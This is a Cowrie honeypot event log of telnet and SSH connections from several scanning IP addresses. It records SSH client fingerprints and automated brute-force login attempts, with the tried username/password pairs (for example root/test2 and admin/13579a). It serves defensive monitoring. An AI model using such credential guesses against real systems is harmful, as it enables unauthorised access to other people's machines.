{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57860,"dst_ip":"159.203.135.109","dst_port":23,"session":"135c227ca80b","protocol":"telnet","message":"New connection: 38.60.198.128:57860 (159.203.135.109:23) [session: 135c227ca80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:11.848812Z"}
{"eventid":"cowrie.session.closed","duration":44.47463393211365,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:12.798099Z","src_ip":"38.60.198.128","session":"363d967d6b48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9dc6a0ea2a6","protocol":"telnet","message":"New connection: 38.54.119.93:42598 (10.17.0.5:23) [session: a9dc6a0ea2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:15.051898Z"}
{"eventid":"cowrie.session.closed","duration":27.941627502441406,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:16.102758Z","src_ip":"38.60.198.128","session":"4d2173bb588f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37604,"dst_ip":"159.203.135.109","dst_port":23,"session":"4faff1cd3f6e","protocol":"telnet","message":"New connection: 38.60.198.128:37604 (159.203.135.109:23) [session: 4faff1cd3f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:16.606071Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38176,"dst_ip":"159.203.135.109","dst_port":23,"session":"d701957082b9","protocol":"telnet","message":"New connection: 38.60.198.128:38176 (159.203.135.109:23) [session: d701957082b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:17.205293Z"}
{"eventid":"cowrie.session.closed","duration":45.74318790435791,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:18.716371Z","src_ip":"38.60.198.128","session":"dbb3cfcbb0be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42624,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6cf117a115b","protocol":"telnet","message":"New connection: 38.60.198.128:42624 (159.203.135.109:23) [session: b6cf117a115b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:20.127728Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43302,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d23edb22266","protocol":"telnet","message":"New connection: 38.60.198.128:43302 (159.203.135.109:23) [session: 5d23edb22266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:20.720438Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41320,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc4216f05e8","protocol":"telnet","message":"New connection: 38.60.198.128:41320 (159.203.135.109:23) [session: 3cc4216f05e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:21.193421Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49832,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed968bd84d4c","protocol":"telnet","message":"New connection: 38.54.119.93:49832 (10.17.0.5:23) [session: ed968bd84d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:26.581051Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55056,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad4411b3d59","protocol":"telnet","message":"New connection: 38.60.198.128:55056 (159.203.135.109:23) [session: 2ad4411b3d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:29.929958Z"}
{"eventid":"cowrie.session.closed","duration":37.43142080307007,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:30.990238Z","src_ip":"38.60.198.128","session":"815782889c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.413485050201416,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:32.170107Z","src_ip":"192.211.53.160","session":"7db7cd271114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.492674112319946,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:34.073612Z","src_ip":"38.54.119.93","session":"ed968bd84d4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.815032720565796,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:34.831783Z","src_ip":"192.211.53.160","session":"4da9db6403c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38278,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe8e3dea6736","protocol":"telnet","message":"New connection: 38.60.198.128:38278 (159.203.135.109:23) [session: fe8e3dea6736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:38.600385Z"}
{"eventid":"cowrie.session.closed","duration":43.54125738143921,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:38.791604Z","src_ip":"192.211.53.160","session":"55094ad10693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39568,"dst_ip":"159.203.135.109","dst_port":23,"session":"efc66c332d79","protocol":"telnet","message":"New connection: 38.60.198.128:39568 (159.203.135.109:23) [session: efc66c332d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:39.704304Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":36669,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb00c25d050f","protocol":"ssh","message":"New connection: 2.57.121.112:36669 (159.203.135.109:22) [session: eb00c25d050f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:41.481557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:41.485822Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:41.590781Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"13579a","message":"login attempt [admin/13579a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:42.087460Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1357900","message":"login attempt [admin/1357900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:43.196347Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1333","message":"login attempt [admin/1333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:44.305483Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1326","message":"login attempt [admin/1326] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:45.414734Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"131284","message":"login attempt [admin/131284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:46.524030Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:47.632391Z","src_ip":"2.57.121.112","session":"eb00c25d050f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55178,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab63f2835fea","protocol":"telnet","message":"New connection: 38.60.198.128:55178 (159.203.135.109:23) [session: ab63f2835fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:51.932679Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56780,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1a618dcb58f","protocol":"telnet","message":"New connection: 38.60.198.128:56780 (159.203.135.109:23) [session: a1a618dcb58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:53.423659Z"}
{"eventid":"cowrie.session.closed","duration":42.629822969436646,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:54.478506Z","src_ip":"38.60.198.128","session":"135c227ca80b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.55760145187378,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:55.762781Z","src_ip":"38.60.198.128","session":"d701957082b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38060402870178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:56.573932Z","src_ip":"38.60.198.128","session":"3cc4216f05e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":40658,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7576fe89cd","protocol":"ssh","message":"New connection: 198.98.56.205:40658 (159.203.135.109:22) [session: ca7576fe89cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:00.839593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:00.843744Z","src_ip":"198.98.56.205","session":"ca7576fe89cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:00.880952Z","src_ip":"198.98.56.205","session":"ca7576fe89cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P4sswOrd","message":"login attempt [test/P4sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:00.895189Z","src_ip":"198.98.56.205","session":"ca7576fe89cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:01.902719Z","src_ip":"198.98.56.205","session":"ca7576fe89cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.48862624168396,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:02.616253Z","src_ip":"38.60.198.128","session":"b6cf117a115b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.70197939872742,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:04.422325Z","src_ip":"38.60.198.128","session":"5d23edb22266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41522,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8f894f044d","protocol":"telnet","message":"New connection: 38.60.198.128:41522 (159.203.135.109:23) [session: dd8f894f044d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:05.149854Z"}
{"eventid":"cowrie.session.closed","duration":54.079285621643066,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:10.685250Z","src_ip":"38.60.198.128","session":"4faff1cd3f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47442,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd786276c233","protocol":"telnet","message":"New connection: 38.60.198.128:47442 (159.203.135.109:23) [session: bd786276c233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:11.600205Z"}
{"eventid":"cowrie.session.closed","duration":58.63578987121582,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:13.687558Z","src_ip":"38.54.119.93","session":"a9dc6a0ea2a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.937983989715576,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:15.867813Z","src_ip":"38.60.198.128","session":"2ad4411b3d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.488938331604004,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:19.089227Z","src_ip":"38.60.198.128","session":"fe8e3dea6736","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.8029408454895,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:21.507090Z","src_ip":"38.60.198.128","session":"efc66c332d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.71786379814148,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:25.650450Z","src_ip":"38.60.198.128","session":"ab63f2835fea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42108416557312,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:31.844661Z","src_ip":"38.60.198.128","session":"a1a618dcb58f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44382,"dst_ip":"159.203.135.109","dst_port":23,"session":"37308399796b","protocol":"telnet","message":"New connection: 38.60.198.128:44382 (159.203.135.109:23) [session: 37308399796b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:32.446618Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42914,"dst_ip":"10.17.0.5","dst_port":23,"session":"992fcf5b8323","protocol":"telnet","message":"New connection: 45.81.23.16:42914 (10.17.0.5:23) [session: 992fcf5b8323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:32.758617Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45534,"dst_ip":"159.203.135.109","dst_port":23,"session":"5492b99ef3c6","protocol":"telnet","message":"New connection: 38.60.198.128:45534 (159.203.135.109:23) [session: 5492b99ef3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:33.549310Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42916,"dst_ip":"10.17.0.5","dst_port":23,"session":"e154da3df849","protocol":"telnet","message":"New connection: 45.81.23.16:42916 (10.17.0.5:23) [session: e154da3df849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:35.532585Z"}
{"eventid":"cowrie.session.closed","duration":6.141931056976318,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:38.900433Z","src_ip":"45.81.23.16","session":"992fcf5b8323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54710,"dst_ip":"159.203.135.109","dst_port":23,"session":"124880dab1a1","protocol":"telnet","message":"New connection: 38.60.198.128:54710 (159.203.135.109:23) [session: 124880dab1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:41.071290Z"}
{"eventid":"cowrie.session.closed","duration":7.1641685962677,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:42.696654Z","src_ip":"45.81.23.16","session":"e154da3df849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57680,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a8b10eb7ab","protocol":"telnet","message":"New connection: 38.60.198.128:57680 (159.203.135.109:23) [session: f7a8b10eb7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:43.857300Z"}
{"eventid":"cowrie.session.closed","duration":114.89308023452759,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:45.594535Z","src_ip":"38.60.198.128","session":"95e11e458fdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57930,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b300807e14f","protocol":"telnet","message":"New connection: 38.60.198.128:57930 (159.203.135.109:23) [session: 8b300807e14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:48.053806Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":55484,"dst_ip":"159.203.135.109","dst_port":22,"session":"38862d3e7147","protocol":"ssh","message":"New connection: 198.98.56.205:55484 (159.203.135.109:22) [session: 38862d3e7147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:50.318558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:50.322945Z","src_ip":"198.98.56.205","session":"38862d3e7147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:50.328007Z","src_ip":"198.98.56.205","session":"38862d3e7147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2","message":"login attempt [root/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:50.378642Z","src_ip":"198.98.56.205","session":"38862d3e7147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:51.386515Z","src_ip":"198.98.56.205","session":"38862d3e7147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.163758277893066,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:51.763851Z","src_ip":"38.60.198.128","session":"bd786276c233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40102,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8fa011d337b","protocol":"telnet","message":"New connection: 38.60.198.128:40102 (159.203.135.109:23) [session: f8fa011d337b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:53.241459Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38354,"dst_ip":"159.203.135.109","dst_port":23,"session":"5309ca1db50e","protocol":"telnet","message":"New connection: 38.60.198.128:38354 (159.203.135.109:23) [session: 5309ca1db50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:53.830573Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44480,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff04e704c844","protocol":"telnet","message":"New connection: 38.60.198.128:44480 (159.203.135.109:23) [session: ff04e704c844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:55.593465Z"}
